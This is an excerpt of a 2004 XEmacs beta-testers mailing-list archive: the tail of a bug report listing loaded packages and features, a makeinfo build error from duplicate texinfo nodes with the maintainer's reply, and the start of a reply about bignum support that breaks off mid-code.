/usr/share/xemacs21/site-lisp/ilisp/ilisp-snd /usr/share/xemacs21/site-lisp/ilisp/ilisp-kil /usr/share/xemacs21/site-lisp/ilisp/ilisp-kil /usr/share/xemacs21/site-lisp/ilisp/ilisp-cmp /usr/share/xemacs21/site-lisp/ilisp/ilisp-cmp /usr/share/xemacs21/site-lisp/ilisp/ilisp-utl /usr/share/xemacs21/site-lisp/ilisp/ilisp-utl /usr/share/xemacs21/site-lisp/ilisp/ilisp-hnd /usr/share/xemacs21/site-lisp/ilisp/ilisp-hnd /usr/share/xemacs21/site-lisp/ilisp/ilisp-rng /usr/share/xemacs21/site-lisp/ilisp/ilisp-rng /usr/share/xemacs21/site-lisp/ilisp/ilisp-cmt /usr/share/xemacs21/site-lisp/ilisp/ilisp-cmt /usr/share/xemacs21/site-lisp/ilisp/ilisp-dia /usr/share/xemacs21/site-lisp/ilisp/ilisp-dia /usr/share/xemacs21/site-lisp/ilisp/ilisp-mod /usr/share/xemacs21/site-lisp/ilisp/ilisp-mod /usr/share/xemacs21/site-lisp/ilisp/ilisp-ext /usr/share/xemacs21/site-lisp/ilisp/ilisp-ext /usr/share/xemacs21/site-lisp/ilisp/ilisp-doc /usr/share/xemacs21/site-lisp/ilisp/ilisp-doc /usr/share/xemacs21/site-lisp/ilisp/ilisp-low /usr/share/xemacs21/site-lisp/ilisp/ilisp-low /usr/share/xemacs21/site-lisp/ilisp/ilisp-prn /usr/share/xemacs21/site-lisp/ilisp/ilisp-prn /usr/share/xemacs21/site-lisp/ilisp/ilisp-key /usr/share/xemacs21/site-lisp/ilisp/ilisp-key /usr/share/xemacs21/site-lisp/ilisp/ilisp-mov /usr/share/xemacs21/site-lisp/ilisp/ilisp-mov /usr/share/xemacs21/site-lisp/ilisp/ilisp-out /usr/share/xemacs21/site-lisp/ilisp/ilisp-out /usr/share/xemacs21/site-lisp/ilisp/ilisp-val /usr/share/xemacs21/site-lisp/ilisp/ilisp-val /usr/share/xemacs21/site-lisp/ilisp/ilisp-prc /usr/share/xemacs21/site-lisp/ilisp/ilisp-prc /usr/share/xemacs21/site-lisp/ilisp/ilisp-imenu /usr/share/xemacs21/site-lisp/ilisp/ilisp-imenu /usr/share/xemacs21/site-lisp/ilisp/ilisp-ind /usr/share/xemacs21/site-lisp/ilisp/ilisp-ind /usr/share/xemacs21/site-lisp/ilisp/ilisp-inp /usr/share/xemacs21/site-lisp/ilisp/ilisp-inp /usr/share/xemacs21/site-lisp/ilisp/ilisp-sym /usr/share/xemacs21/site-lisp/ilisp/ilisp-sym /usr/share/xemacs21/site-lisp/ilisp/ilisp-def /usr/share/xemacs21/site-lisp/ilisp/ilisp-def /usr/share/xemacs21/site-lisp/ilisp/bridge /usr/share/xemacs21/site-lisp/ilisp/bridge /usr/share/xemacs21/site-lisp/ilisp/comint-ipc /usr/share/xemacs21/site-lisp/ilisp/comint-ipc /usr/share/xemacs21/site-lisp/ilisp/completer /usr/share/xemacs21/site-lisp/ilisp/completer /usr/share/xemacs21/site-lisp/ilisp/ilcompat /usr/share/xemacs21/site-lisp/ilisp/ilcompat /usr/share/xemacs21/site-lisp/ilisp/ilxemacs /usr/share/xemacs21/site-lisp/ilisp/ilxemacs /usr/share/xemacs21/site-lisp/ilisp/ilisp-mouse /usr/share/xemacs21/site-lisp/ilisp/ilisp-mouse /usr/share/xemacs21/site-lisp/ilisp/path /usr/share/xemacs21/site-lisp/ilisp/path /usr/share/xemacs21/site-lisp/ilisp/illuc19 /usr/share/xemacs21/site-lisp/ilisp/illuc19 /usr/share/xemacs21/site-lisp/ilisp/ilisp-s2c /usr/share/xemacs21/site-lisp/ilisp/ilisp-s2c /usr/share/xemacs21/site-lisp/ilisp/ilisp-menu /usr/share/xemacs21/site-lisp/ilisp/ilisp-menu /usr/share/xemacs21/site-lisp/ilisp/ilisp-mak /usr/share/xemacs21/site-lisp/ilisp/ilisp-mak /usr/share/xemacs21/site-lisp/ilisp/ilisp-bug /usr/share/xemacs21/site-lisp/ilisp/ilisp-bug /usr/share/xemacs21/site-lisp/ilisp/ilisp-bat /usr/share/xemacs21/site-lisp/ilisp/ilisp-bat /usr/share/xemacs21/site-lisp/ilisp/ilfsf21 /usr/share/xemacs21/site-lisp/ilisp/ilfsf21 /usr/share/xemacs21/site-lisp/ilisp/ilfsf20 /usr/share/xemacs21/site-lisp/ilisp/ilfsf20 /usr/share/xemacs21/site-lisp/ilisp/ilfsf19 /usr/share/xemacs21/site-lisp/ilisp/ilfsf19 /usr/share/xemacs21/site-lisp/ilisp/ilfsf18 /usr/share/xemacs21/site-lisp/ilisp/ilfsf18 /usr/share/xemacs21/site-lisp/ilisp/custom-ilisp /usr/share/xemacs21/site-lisp/ilisp/custom-ilisp /usr/share/xemacs21/site-lisp/ilisp/comint-v18 /usr/share/xemacs21/site-lisp/ilisp/comint-v18 /usr/share/xemacs21/site-lisp/sawfish/sawfish /usr/share/xemacs21/site-lisp/sawfish/sawfish ~/emacs/haskell-hugs /usr/share/xemacs21/packages/lisp/haskell-mode/haskell-hugs ~/emacs/haskell-doc /usr/share/xemacs21/packages/lisp/haskell-mode/haskell-doc ~/emacs/haskell-simple-indent /usr/share/xemacs21/packages/lisp/haskell-mode/haskell-simple-indent ~/emacs/haskell-ghci /usr/share/xemacs21/packages/lisp/haskell-mode/haskell-ghci ~/emacs/haskell-indent /usr/share/xemacs21/packages/lisp/haskell-mode/haskell-indent ~/emacs/haskell-font-lock /usr/share/xemacs21/packages/lisp/haskell-mode/haskell-font-lock ~/emacs/haskell-mode /usr/share/xemacs21/packages/lisp/haskell-mode/haskell-mode ~/emacs/haskell-decl-scan /usr/share/xemacs21/packages/lisp/haskell-mode/haskell-decl-scan /usr/share/xemacs21/site-lisp/ilisp/ilisp-menu /usr/share/xemacs21/packages/lisp/ilisp/ilisp-menu /usr/share/xemacs21/site-lisp/ilisp/ilisp-low /usr/share/xemacs21/packages/lisp/ilisp/ilisp-low /usr/share/xemacs21/site-lisp/ilisp/ilisp-snd /usr/share/xemacs21/packages/lisp/ilisp/ilisp-snd /usr/share/xemacs21/site-lisp/ilisp/ild /usr/share/xemacs21/packages/lisp/ilisp/ild /usr/share/xemacs21/site-lisp/ilisp/ilisp-src /usr/share/xemacs21/packages/lisp/ilisp/ilisp-src /usr/share/xemacs21/site-lisp/ilisp/ilisp-sch /usr/share/xemacs21/packages/lisp/ilisp/ilisp-sch /usr/share/xemacs21/site-lisp/ilisp/ilisp-rng /usr/share/xemacs21/packages/lisp/ilisp/ilisp-rng /usr/share/xemacs21/site-lisp/ilisp/ilisp-doc /usr/share/xemacs21/packages/lisp/ilisp/ilisp-doc /usr/share/xemacs21/site-lisp/ilisp/ilisp-s2c /usr/share/xemacs21/packages/lisp/ilisp/ilisp-s2c /usr/share/xemacs21/site-lisp/ilisp/ilisp-mak /usr/share/xemacs21/packages/lisp/ilisp/ilisp-mak /usr/share/xemacs21/site-lisp/ilisp/ilisp-kil /usr/share/xemacs21/packages/lisp/ilisp/ilisp-kil /usr/share/xemacs21/site-lisp/ilisp/ilisp-dia /usr/share/xemacs21/packages/lisp/ilisp/ilisp-dia /usr/share/xemacs21/site-lisp/ilisp/ilisp-key /usr/share/xemacs21/packages/lisp/ilisp/ilisp-key /usr/share/xemacs21/site-lisp/ilisp/bridge /usr/share/xemacs21/packages/lisp/ilisp/bridge /usr/share/xemacs21/site-lisp/ilisp/comint-v18 /usr/share/xemacs21/packages/lisp/ilisp/comint-v18 /usr/share/xemacs21/site-lisp/ilisp/ilisp-xls /usr/share/xemacs21/packages/lisp/ilisp/ilisp-xls /usr/share/xemacs21/site-lisp/ilisp/ilisp-hi /usr/share/xemacs21/packages/lisp/ilisp/ilisp-hi /usr/share/xemacs21/site-lisp/ilisp/ilisp-def /usr/share/xemacs21/packages/lisp/ilisp/ilisp-def /usr/share/xemacs21/site-lisp/ilisp/ilisp-kcl /usr/share/xemacs21/packages/lisp/ilisp/ilisp-kcl /usr/share/xemacs21/site-lisp/ilisp/ilisp-sbcl /usr/share/xemacs21/packages/lisp/ilisp/ilisp-sbcl /usr/share/xemacs21/site-lisp/ilisp/ilisp-cmu /usr/share/xemacs21/packages/lisp/ilisp/ilisp-cmu /usr/share/xemacs21/site-lisp/ilisp/ilisp-cmt /usr/share/xemacs21/packages/lisp/ilisp/ilisp-cmt /usr/share/xemacs21/site-lisp/ilisp/ilisp-cmp /usr/share/xemacs21/packages/lisp/ilisp/ilisp-cmp /usr/share/xemacs21/site-lisp/ilisp/ilisp-bug /usr/share/xemacs21/packages/lisp/ilisp/ilisp-bug /usr/share/xemacs21/site-lisp/ilisp/ilcompat /usr/share/xemacs21/packages/lisp/ilisp/ilcompat /usr/share/xemacs21/site-lisp/ilisp/ilisp-cl /usr/share/xemacs21/packages/lisp/ilisp/ilisp-cl /usr/share/xemacs21/site-lisp/ilisp/ilisp-xfr /usr/share/xemacs21/packages/lisp/ilisp/ilisp-xfr /usr/share/xemacs21/site-lisp/ilisp/ilisp-bat /usr/share/xemacs21/packages/lisp/ilisp/ilisp-bat /usr/share/xemacs21/site-lisp/ilisp/ilisp-prn /usr/share/xemacs21/packages/lisp/ilisp/ilisp-prn /usr/share/xemacs21/site-lisp/ilisp/ilisp-prc /usr/share/xemacs21/packages/lisp/ilisp/ilisp-prc /usr/share/xemacs21/site-lisp/ilisp/ilisp-chs /usr/share/xemacs21/packages/lisp/ilisp/ilisp-chs /usr/share/xemacs21/site-lisp/ilisp/completer /usr/share/xemacs21/packages/lisp/ilisp/completer /usr/share/xemacs21/site-lisp/ilisp/ilisp-inp /usr/share/xemacs21/packages/lisp/ilisp/ilisp-inp /usr/share/xemacs21/site-lisp/ilisp/ilisp-ind /usr/share/xemacs21/packages/lisp/ilisp/ilisp-ind /usr/share/xemacs21/site-lisp/ilisp/ilisp-ccl /usr/share/xemacs21/packages/lisp/ilisp/ilisp-ccl /usr/share/xemacs21/site-lisp/ilisp/ilisp-out /usr/share/xemacs21/packages/lisp/ilisp/ilisp-out /usr/share/xemacs21/site-lisp/ilisp/ilisp-aut /usr/share/xemacs21/packages/lisp/ilisp/ilisp-aut /usr/share/xemacs21/site-lisp/ilisp/ilisp-cl-easy-menu /usr/share/xemacs21/packages/lisp/ilisp/ilisp-cl-easy-menu /usr/share/xemacs21/site-lisp/ilisp/ilisp-hnd /usr/share/xemacs21/packages/lisp/ilisp/ilisp-hnd /usr/share/xemacs21/site-lisp/ilisp/ilisp-hlw /usr/share/xemacs21/packages/lisp/ilisp/ilisp-hlw /usr/share/xemacs21/site-lisp/ilisp/ilisp-utl /usr/share/xemacs21/packages/lisp/ilisp/ilisp-utl /usr/share/xemacs21/site-lisp/ilisp/ilisp /usr/share/xemacs21/packages/lisp/ilisp/ilisp /usr/share/xemacs21/site-lisp/ilisp/comint-ipc /usr/share/xemacs21/packages/lisp/ilisp/comint-ipc /usr/share/xemacs21/site-lisp/ilisp/ilfsf20 /usr/share/xemacs21/packages/lisp/ilisp/ilfsf20 /usr/share/xemacs21/site-lisp/ilisp/ilfsf19 /usr/share/xemacs21/packages/lisp/ilisp/ilfsf19 /usr/share/xemacs21/site-lisp/ilisp/ilfsf18 /usr/share/xemacs21/packages/lisp/ilisp/ilfsf18 /usr/share/xemacs21/site-lisp/ilisp/ilisp-val /usr/share/xemacs21/packages/lisp/ilisp/ilisp-val /usr/share/xemacs21/site-lisp/ilisp/ilisp-acl /usr/share/xemacs21/packages/lisp/ilisp/ilisp-acl /usr/share/xemacs21/site-lisp/ilisp/ilisp-scheme-easy-menu /usr/share/xemacs21/packages/lisp/ilisp/ilisp-scheme-easy-menu /usr/share/xemacs21/site-lisp/ilisp/ilisp-imenu /usr/share/xemacs21/packages/lisp/ilisp/ilisp-imenu /usr/share/xemacs21/site-lisp/ilisp/ilisp-sym /usr/share/xemacs21/packages/lisp/ilisp/ilisp-sym /usr/share/xemacs21/site-lisp/ilisp/ilisp-mov /usr/share/xemacs21/packages/lisp/ilisp/ilisp-mov /usr/share/xemacs21/site-lisp/ilisp/ilisp-mod /usr/share/xemacs21/packages/lisp/ilisp/ilisp-mod /usr/share/xemacs21/site-lisp/ilisp/ilxemacs /usr/share/xemacs21/packages/lisp/ilisp/ilxemacs /usr/share/xemacs21/site-lisp/ilisp/ilisp-mnb /usr/share/xemacs21/packages/lisp/ilisp/ilisp-mnb /usr/share/xemacs21/site-lisp/ilisp/illuc19 /usr/share/xemacs21/packages/lisp/ilisp/illuc19 /usr/share/xemacs21/site-lisp/ilisp/ilisp-ext /usr/share/xemacs21/packages/lisp/ilisp/ilisp-ext /usr/share/xemacs21/site-lisp/ilisp/ilisp-luc /usr/share/xemacs21/packages/lisp/ilisp/ilisp-luc /usr/share/xemacs21/site-lisp/ilisp/ilisp-openmcl /usr/share/xemacs21/packages/lisp/ilisp/ilisp-openmcl /usr/share/xemacs21/site-lisp/dictionaries-common/ispell /usr/share/xemacs21/packages/lisp/ispell/ispell /usr/share/emacs/site-lisp/autoconf/autoconf-mode /usr/share/xemacs21/packages/lisp/prog-modes/autoconf-mode /usr/share/xemacs21/site-lisp/gettext/po-mode /usr/share/xemacs21/packages/lisp/text-modes/po-mode /usr/share/xemacs21/site-lisp/gettext/po-compat /usr/share/xemacs21/packages/lisp/text-modes/po-compat /etc/emacs/site-start /usr/share/xemacs21/site-packages/lisp/site-start /usr/share/xemacs21/packages/lisp/build/build-report /usr/lib/xemacs-21.4.6/lisp/build-report) Installed XEmacs Packages: ------------------------- ((Sun:version 1.13 :type regular) (ada :version 1.13 :type regular) (apel :version 1.26 :type regular) (auctex :version 1.33 :type regular) (bbdb :version 1.21 :type regular) (build :version 1.1 :type regular) (c-support :version 1.16 :type single-file) (calc :version 1.23 :type regular) (calendar :version 1.19 :type regular) (cc-mode :version 1.32 :type regular) (clearcase :version 1.04 :type regular) (cookie :version 1.14 :type regular) (crisp :version 1.12 :type regular) (debug :version 1.16 :type regular) (dictionary :version 1.11 :type regular) (dired :version 1.13 :type regular) (docbookide :version 0.06 :type regular) (ecb :version 1.01 :type regular) (ecrypto :version 0.12 :type regular) (edebug :version 1.15 :type regular) (ediff :version 1.46 :type regular) (edit-utils :version 1.98 :type single-file) (edt :version 1.12 :type regular) (efs :version 1.29 :type regular) (eieio :version 1.04 :type regular) (elib :version 1.1 :type single-file) (emerge :version 1.09 :type regular) (eshell :version 1.04 :type regular) (ess :version 1.03 :type regular) (eterm :version 1.13 :type regular) (eudc :version 1.37 :type regular) (footnote :version 1.15 :type regular) (forms :version 1.14 :type regular) (fortran-modes :version 1.02 :type single-file) (frame-icon :version 1.09 :type regular) (fsf-compat :version 1.12 :type single-file) (games :version 1.13 :type regular) (general-docs :version 1.0 :type regular) (gnats :version 1.15 :type regular) (gnus :version 1.65 :type regular) (haskell-mode :version 1.05 :type regular) (hm--html-menus :version 1.18 :type regular) (ibuffer :version 1.08 :type regular) (idlwave :version 1.28 :type regular) (igrep :version 1.1 :type regular) (ilisp :version 1.29 :type regular) (ispell :version 1.24 :type regular) (jde :version 1.43 :type regular) (liece :version 1.1 :type regular) (mail-lib :version 1.56 :type regular) (mailcrypt :version 2.12 :type regular) (mew :version 1.17 :type regular) (mh-e :version 1.17 :type regular) (mine :version 1.14 :type regular) (misc-games :version 1.16 :type single-file) (mmm-mode :version 1.0 :type regular) (net-utils :version 1.31 :type single-file) (ocaml :version 0.04 :type regular) (os-utils :version 1.3 :type single-file) (pc :version 1.25 :type single-file) (pcl-cvs :version 1.64 :type regular) (pcomplete :version 1.02 :type regular) (perl-modes :version 1.04 :type single-file) (pgg :version 1.02 :type regular) (prog-modes :version 1 .72 :type single-file) (ps-print :version 1.08 :type regular) (psgml :version 1.38 :type regular) (psgml-dtds :version 1.02 :type regular) (python-modes :version 1.02 :type single-file) (reftex :version 1.28 :type regular) (rmail :version 1.13 :type regular) (ruby-modes :version 1.01 :type regular) (sasl :version 1.12 :type regular) (scheme :version 1.13 :type regular) (semantic :version 1.17 :type regular) (sgml :version 1.08 :type regular) (sh-script :version 1.17 :type regular) (sieve :version 1.11 :type regular) (slider :version 1.13 :type regular) (sml-mode :version 0.07000000000000001 :type regular) (sounds-au :version 1.1 :type regular) (sounds-wav :version 1.1 :type regular) (speedbar :version 1.26 :type regular) (strokes :version 1.08 :type regular) (supercite :version 1.19 :type regular) (texinfo :version 1.23 :type regular) (text-modes :version 1.58 :type single-file) (textools :version 1.14 :type regular) (time :version 1.12 :type regular) (tm :version 1.35 :type regular) (tooltalk :version 1.13 :type regular) (tpu :version 1.12 :type regular) (tramp :version 1.11 :type regular) (vc :version 1.35 :type regular) (vc-cc :version 1.21 :type regular) (vhdl :version 1.16 :type regular) (view-process :version 1.12 :type regular) (viper :version 1.35 :type regular) (vm :version 7.07 :type regular) (w3 :version 1.28 :type regular) (xemacs-base :version 1.75 :type regular) (xemacs-devel :version 1.5 :type single-file) (xslide :version 1.04 :type regular) (xslt-process :version 1.11 :type regular) (zenirc :version 1.13 :type regular) (edict :version 1.13 :type regular) (egg-its :version 1.26 :type regular) (latin-unity :version 1.07 :type regular) (leim :version 1.2 :type regular) (locale :version 1.2 :type regular) (lookup :version 1.13 :type regular) (mule-base :version 1.42 :type regular) (mule-ucs :version 1.04 :type regular) (skk :version 1.23 :type regular)) Installed Modules: ----------------- Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 dabbrev efs-cu time cus-face disp-table jka-compr completer ilcompat il-luc19 Sun-autoloads ada-autoloads apel-autoloads auctex-autoloads bbdb-autoloads build-autoloads c-support-autoloads calc-autoloads calendar-autoloads cc-mode-autoloads clearcase-autoloads cookie-autoloads crisp-autoloads debug-autoloads dictionary-autoloads dired-autoloads docbookide-autoloads ecb-autoloads ecrypto-autoloads edebug-autoloads ediff-autoloads edit-utils-autoloads edt-autoloads efs-autoloads eieio-autoloads elib-autoloads emerge-autoloads eshell-autoloads ess-autoloads eterm-autoloads eudc-autoloads footnote-autoloads forms-autoloads fortran-modes-autoloads frame-icon-autoloads fsf-compat-autoloads games-autoloads general-docs-autoloads gnats-autoloads gnus-autoloads haskell-mode-autoloads hm--html-menus-autoloads ibuffer-autoloads idlwave-autoloads igrep-autoloads ilisp-autoloads ispell-autoloads jde-autoloads liece-autoloads mail-lib-autoloads mailcrypt-autoloads mew-autoloads mh-e-autoloads mine-autoloads misc-games-autoloads mmm-mode-autoloads net-utils-autoloads ocaml-autoloads os-utils-autoloads pc-autoloads pcl-cvs-autoloads pcomplete-autoloads perl-modes-autoloads pgg-autoloads prog-modes-autoloads ps-print-autoloads psgml-autoloads psgml-dtds-autoloads python-modes-autoloads reftex-autoloads rmail-autoloads ruby-modes-autoloads sasl-autoloads scheme-autoloads semantic-autoloads sgml-autoloads sh-script-autoloads sieve-autoloads slider-autoloads sml-mode-autoloads sounds-au-autoloads sounds-wav-autoloads speedbar-autoloads strokes-autoloads supercite-autoloads texinfo-autoloads text-modes-autoloads textools-autoloads time-autoloads tm-autoloads tooltalk-autoloads tpu-autoloads tramp-autoloads vc-autoloads vc-cc-autoloads vhdl-autoloads view-process-autoloads viper-autoloads vm-autoloads w3-autoloads xemacs-base-autoloads xemacs-devel-autoloads xslide-autoloads xslt-process-autoloads zenirc-autoloads edict-autoloads egg-its-autoloads latin-unity-autoloads leim-autoloads locale-autoloads lookup-autoloads mule-base-autoloads mule-ucs-autoloads skk-autoloads mule-autoloads lisp-autoloads loadhist auto-show fontl-hooks x-iso8859-1 slovenian czech romanian ccl mule-help code-cmds gutter-items menubar-items x-menubar mode-motion mouse itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived frame text-props obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote very-early-lisp file-coding mule lucid-scrollbars cut-buffer lucid-menubars athena-dialogs x c-balloon-help tty-frames tty toolbar native-sound scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar berkeley-db md5 xemacs xim gutter tiff png gif jpeg xface xpm xbm lisp-float-type linux dialog devices window-system base64) Recent keystrokes: ----------------- ( t r u n ESC / SPC 5 3 ESC / BS 2 . 1 ) LFD C-x o C-x o A r i t h m e t i c SPC r a n g e SPC e r r o r: SPC " t r u n c a t e " , SPC 5 3 6 8 7 0 9 1 2 . 1 SPC SPC RET C-p C-p C-p C-p C-p C-p C-@ C-n C-n C-n C-n C-n C-n ESC w ESC x r e p o TAB r t - x TAB RET Recent messages (most recent first): ----------------------------------- Loading cl-indent... Auto save file for draft message exists; consider M-x mail-recover Loading xemacsbug...done Loading xemacsbug... Making completion list... Arithmetic range error: "truncate", 536870912.1 Expansion found in 'TMP' Scanning `TMP' Expansion found in 'TMP' Scanning `TMP' Expansion found in 'TMP' Scanning `TMP' Loading dabbrev...done Loading dabbrev... Loading efs-cu...done Loading efs-cu... Loading time...done Loading cus-face...done Loading cus-face... Loading time... From xemacs-beta-admin@xemacs.org Mon Apr 19 06:57:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JAv1s30526; Mon, 19 Apr 2004 06:57:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JAuZr30224 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 06:56:35 -0400 Resent-From: "Stephen J. Turnbull" Resent-Message-ID: <16515.45155.847075.126029@gwyn.tux.org> Resent-Date: Mon, 19 Apr 2004 06:56:35 -0400 (EDT) Resent-To: xemacs-beta-mailman@xemacs.org X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: "Stephen J. Turnbull" , xemacs-beta@xemacs.org Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: VOqwNmZCreQJnLfaxYdlvKsKOKWBVKuT5EqGHTlYcjNnpf1slBxjrn X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 From: viteno@t-online.de (Norbert Koch) To: "Stephen J. Turnbull" Cc: xemacs-beta@xemacs.org Subject: 21.5 build error Date: Mon, 19 Apr 2004 11:58:16 +0200 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi Stephen, makeinfo chokes on the current texinfo material it's got to digest: Compiling /usr/local/users/nk/cvs/xemacs-21.5/lisp/mule/custom-load.el... Wrote /usr/local/users/nk/cvs/xemacs-21.5/lisp/mule/custom-load.elc Building finder database ... rm -f /usr/local/users/nk/cvs/xemacs-21.5/src/../lisp/finder-inf.el ./xemacs -no-packages -batch -eval "(setq finder-compile-keywords-quiet t)" \ -l finder -f finder-compile-keywords Wrote /usr/local/users/nk/cvs/xemacs-21.5/lisp/finder-inf.el Building finder database ...(done) Testing for Lisp shadows ... gmake[1]: Leaving directory `/usr/local/users/nk/cvs/xemacs-21.5/src' cd /usr/local/users/nk/cvs/xemacs-21.5/man && gmake info gmake[1]: Entering directory `/usr/local/users/nk/cvs/xemacs-21.5/man' makeinfo -P lispref -o ../info/lispref.info lispref/lispref.texi lispref/numbers.texi:363: Node `Ratio Basics' previously defined at line 195. lispref/numbers.texi:71: Next reference to nonexistent node `Rational Basics' (perhaps incorrect sectioning?). lispref/numbers.texi:195: `Ratio Basics' has no Up field (perhaps incorrect sectioning?). lispref/numbers.texi:204: Prev reference to nonexistent node `Rational Basics' (perhaps incorrect sectioning?). lispref/numbers.texi:349: Next field of node `Bignum Basics' not pointed to (perhaps incorrect sectioning?). lispref/numbers.texi:195: This node (Ratio Basics) has the bad Prev. lispref/numbers.texi:372: Prev field of node `Bigfloat Basics' not pointed to. lispref/numbers.texi:195: This node (Ratio Basics) has the bad Next. lispref/numbers.texi:58: Menu reference to nonexistent node `Rational Basics' (perhaps incorrect sectioning?). makeinfo: Removing output file `../info/lispref.info' due to errors; use --force to preserve. gmake[1]: *** [../info/lispref.info] Error 1 gmake[1]: Leaving directory `/usr/local/users/nk/cvs/xemacs-21.5/man' gmake: *** [info] Error 2 Is this only my environment? norbert. From xemacs-beta-admin@xemacs.org Mon Apr 19 07:08:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JB8As06910; Mon, 19 Apr 2004 07:08:10 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JB7gZ06474 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 07:07:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JB7gH06456 for turnbull@tux.org; Mon, 19 Apr 2004 07:07:42 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JB7fs06446 for ; Mon, 19 Apr 2004 07:07:41 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFWcm-0001bT-00 for ; Mon, 19 Apr 2004 20:07:40 +0900 To: xemacs-beta@xemacs.org Subject: Re: 21.5 build error References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 19 Apr 2004 20:07:40 +0900 In-Reply-To: (Norbert Koch's message of "Mon, 19 Apr 2004 11:58:16 +0200") Message-ID: <87oepousxv.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "viteno" == Norbert Koch writes: viteno> Hi Stephen, makeinfo chokes on the current texinfo viteno> material it's got to digest: Yup. Fix in CVS, probably by the time you read this. Sorry about that; the conflicting node names were done on two separate machines, and I'd forgotten that I'd touched the same file on both. So although both built fine separately, that didn't prevent them from blowing up together. CVS sux[tm]. :-) -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 19 07:15:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JBF0s12715; Mon, 19 Apr 2004 07:15:00 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JBEX812350 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 07:14:33 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JBEWT12336 for turnbull@tux.org; Mon, 19 Apr 2004 07:14:32 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JBEVs12322 for ; Mon, 19 Apr 2004 07:14:31 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFWjI-0001lp-00; Mon, 19 Apr 2004 20:14:24 +0900 To: Lars Brinkhoff Cc: xemacs-beta@xemacs.org Subject: Re: Bignums, ratios, and bigfloats References: <86hdvx4t12.fsf@comcast.net> <857jwcb8dt.fsf@junk.nocrew.org> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 19 Apr 2004 20:14:24 +0900 In-Reply-To: <857jwcb8dt.fsf@junk.nocrew.org> (Lars Brinkhoff's message of "19 Apr 2004 11:54:22 +0200") Message-ID: <87ekqkusmn.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Lars" == Lars Brinkhoff writes: Lars> Is there a featurep-thing that signals that bignums and/or Lars> ratios are available? Yes, the obvious ones, from src/number.c: #ifdef HAVE_BIGNUM Fprovide (intern ("bignum")); #endif #ifdef 